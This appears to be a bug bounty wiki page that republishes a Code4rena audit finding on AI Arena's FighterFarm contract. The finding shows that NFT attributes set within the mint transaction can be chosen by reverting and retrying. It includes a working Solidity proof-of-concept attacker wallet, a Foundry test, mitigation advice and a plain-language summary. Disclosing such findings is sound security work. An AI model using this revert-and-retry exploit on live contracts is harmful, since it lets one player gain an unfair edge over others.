Skip to content
Smart contracts Audit finding Intermediate

Can mint NFT with the desired attributes by reverting transaction

The NFT's random attributes are generated in the same transaction that mints it, so a user with a contract wallet can revert the transaction if the attributes are not desired and retry until they get the ones they want. This lets an attacker mint an NFT with specific attributes instead of random ones.

klau5 Follow with klau5, visualbits and 48 others

Originally disclosed on Code4rena

Submitted by klau5, also found by klau5, visualbits, thank_you, dutra, d3e4 (1, 2), andywer, 0xkaju, PedroZurdo, shaka, honey-k12, Matue, favelanky, 0xDetermination (1, 2), BoRonGod, bgsmallerbear, 0xGreyWolf (1, 2), soliditywala, PUSH0, Tumelo_Crypto, Blank_Space, korok, Greed, givn (1, 2), grearlake, evmboi32, juancito, VAD37, dimulski, DanielArmstrong, gesha17, 0xgrbr, FloatingPragma (1, 2), n0kto, 0xaghas, MidgarAudits, 0xBinChook, Zac, Tricko, alexzoid (1, 2), immeas, AlexCzm, 0xLogos, ni8mare, peter, 0xWallSecurity, WoolCentaur, 0xlyov, forkforkdog, ke1caM, Draiakoo, McToady, web3pwn, peanuts, kaveyjoe, cats, lsaudit, tallo, Tekken, Silvermist, lil_eth, desaperh, Jorgect, niser93, erosjohn (1, 2, 3), fnanni, BARW (1, 2, 3), pa6kuda (1, 2, 3, 4), t0x1c, solmaxis69, yotov721, SpicyMeatball, PoeAudits, Daniel526, iamandreiski (1, 2), tpiliposian, kiqo, aslanbek, haxatron, 0rpse, sl1, Giorgio, vnavascues, Nyxaris, and Pelz

All the attributes of the NFT that should be randomly determined are set in the same transaction which they’re claimed. Therefore, if a user uses a contract wallet, they can intentionally revert the transaction and retry minting if they do not get the desired attribute.

function _createNewFighter(
    address to,
    uint256 dna,
    string memory modelHash,
    string memory modelType,
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
)
    private
{
    require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    uint256 element;
    uint256 weight;
    uint256 newDna;
    if (customAttributes[0] == 100) {
@>      (element, weight, newDna) = _createFighterBase(dna, fighterType);
    }
    else {
        element = customAttributes[0];
        weight = customAttributes[1];
        newDna = dna;
    }
    uint256 newId = fighters.length;

    bool dendroidBool = fighterType == 1;
@>  FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
        newDna,
        generation[fighterType],
        iconsType,
        dendroidBool
    );
    fighters.push(
        FighterOps.Fighter(
            weight,
            element,
            attrs,
            newId,
            modelHash,
            modelType,
            generation[fighterType],
            iconsType,
            dendroidBool
        )
    );
@>  _safeMint(to, newId);
    FighterOps.fighterCreatedEmitter(newId, weight, element, generation[fighterType]);
}

function _createFighterBase(
    uint256 dna,
    uint8 fighterType
)
    private
    view
    returns (uint256, uint256, uint256)
{
    uint256 element = dna % numElements[generation[fighterType]];
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

Proof of Concept

First, add the PoCCanClaimSpecificAttributeByRevert contract at the bottom of the FighterFarm.t.sol file. This contract represents a user-customizable contract wallet. If the user does not get an NFT with desired attributes, they can revert the transaction and retry minting again.

contract PoCCanClaimSpecificAttributeByRevert {
    FighterFarm fighterFarm;
    address owner;

    constructor(FighterFarm _fighterFarm) {
        fighterFarm = _fighterFarm;
        owner = msg.sender;
    }

    function tryClaim(uint8[2] memory numToMint, bytes memory claimSignature, string[] memory claimModelHashes, string[] memory claimModelTypes) public {
        require(msg.sender == owner, "not owner");
        try fighterFarm.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes) {
            // success to get specific attribute NFT
        } catch {
            // try again next time
        }
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4){

        (,,uint256 weight,,,,) = fighterFarm.getAllFighterInfo(tokenId);
        require(weight == 95, "I don't want this attribute");

        return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
    }
}

Then, add this test to the FighterFarm.t.sol file and run it.

function testPoCCanClaimSpecificAttributeByRevert() public {
    uint256 signerPrivateKey = 0xabc123;
    address _POC_DELEGATED_ADDRESS = vm.addr(signerPrivateKey);

    // setup fresh setting to use _POC_DELEGATED_ADDRESS
    _fighterFarmContract = new FighterFarm(_ownerAddress, _POC_DELEGATED_ADDRESS, _treasuryAddress);
    _helperContract = new AiArenaHelper(_probabilities);
    _mintPassContract = new AAMintPass(_ownerAddress, _POC_DELEGATED_ADDRESS);
    _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
    _mintPassContract.setPaused(false);
    _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
    _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));
    _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);
    _rankedBattleContract = new RankedBattle(
        _ownerAddress, address(_fighterFarmContract), _POC_DELEGATED_ADDRESS, address(_voltageManagerContract)
    );
    _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
    _mergingPoolContract =
        new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
    _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
    _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));

    // --- PoC start ---
    address attacker_eoa = address(0x1337);
    vm.prank(attacker_eoa);
    PoCCanClaimSpecificAttributeByRevert attacker_contract_wallet = new PoCCanClaimSpecificAttributeByRevert(_fighterFarmContract);

    uint8[2] memory numToMint = [1, 0];

    string[] memory claimModelHashes = new string[](1);
    claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    string[] memory claimModelTypes = new string[](1);
    claimModelTypes[0] = "original";

    // get sign
    vm.startPrank(_POC_DELEGATED_ADDRESS);
    bytes32 msgHash = keccak256(abi.encode(
        address(attacker_contract_wallet),
        numToMint[0],
        numToMint[1],
        0, // nftsClaimed[msg.sender][0],
        0 // nftsClaimed[msg.sender][1]
    ));

    bytes memory prefix = "\x19Ethereum Signed Message:\n32";
    bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, msgHash));

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, prefixedHash);
    bytes memory claimSignature = abi.encodePacked(r, s, v);
    vm.stopPrank();

    for(uint160 i = 100; _fighterFarmContract.balanceOf(address(attacker_contract_wallet)) == 0; i++){
        vm.prank(attacker_eoa);
        attacker_contract_wallet.tryClaim(numToMint, claimSignature, claimModelHashes, claimModelTypes);

        // other user mints NFT, the fighters.length changes and DNA would be changed
        _mintFromMergingPool(address(i)); // random user claim their NFT
    }

    assertEq(_fighterFarmContract.balanceOf(address(attacker_contract_wallet)), 1);
    uint256 tokenId = _fighterFarmContract.tokenOfOwnerByIndex(address(attacker_contract_wallet), 0);
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
    assertEq(weight, 95);
}

Recommended Mitigation Steps

Users should only request minting, and attributes values should not be determined in the transaction called by the user. When a user claims an NFT, it should only mint the NFT and end. The attribute should be set by the admin or third-party like chainlink VRF after minting so that the user cannot manipulate it.

It’s not about lack of randomless problem, this is about setting attributes at same transaction when minting NFT. Even if you use chainlink, the same bug can happen if you set the attribute and mint NFTs in the same transaction.

brandinho (AI Arena) confirmed

Note: For full original discussion, see here.

AI Arena mitigated:

Updated dna generation in reRoll and updated dna generation in claimFighters. https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/11

Fixed dna generation in mintFromMergingPool. https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/3

Status: Not fully mitigated. Full details in reports from fnanni, niser93 (1, 2), and d3e4 (1, 2, 3), and also included in the Mitigation Review section below.


The original report as published on Code4rena, by klau5. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract generates and assigns the NFT's random attributes within the same transaction that mints it, so a contract wallet can revert on unwanted results and retry.

Impact

An attacker could mint NFTs with chosen attributes rather than random ones, which may give them an unfair advantage in the game.

What the attacker needed

A contract wallet; a valid claim signature; ability to retry transactions

The fix

The attributes should not be determined in the same transaction as the mint; instead, mint first and set attributes later via an admin or a third party such as Chainlink VRF.

How it was found

  1. Deploy a contract wallet that calls the claim function and checks the minted NFT's weight in its ERC721 receive hook, reverting if the weight is not the desired value.
  2. Obtain a valid claim signature for the contract wallet address.
  3. Call the claim function from the contract wallet; if the weight is not desired, the transaction reverts.
  4. Repeat the claim attempt, with other users minting in between to change the DNA, until the desired weight is obtained.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you mint an NFT, the game randomly picks things like its weight. The problem is that this random pick happens in the same step as the mint. If you use a smart contract as your wallet, you can make the whole mint fail when you don't like the result, then try again. That way you keep trying until you get the result you want, instead of accepting a random one.

What is Smart contracts?

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.

More by klau5

View all

21 more disclosed reports, best first.

More from AI Arena

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Smart contract vulnerabilities

The lesson behind this report.

Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.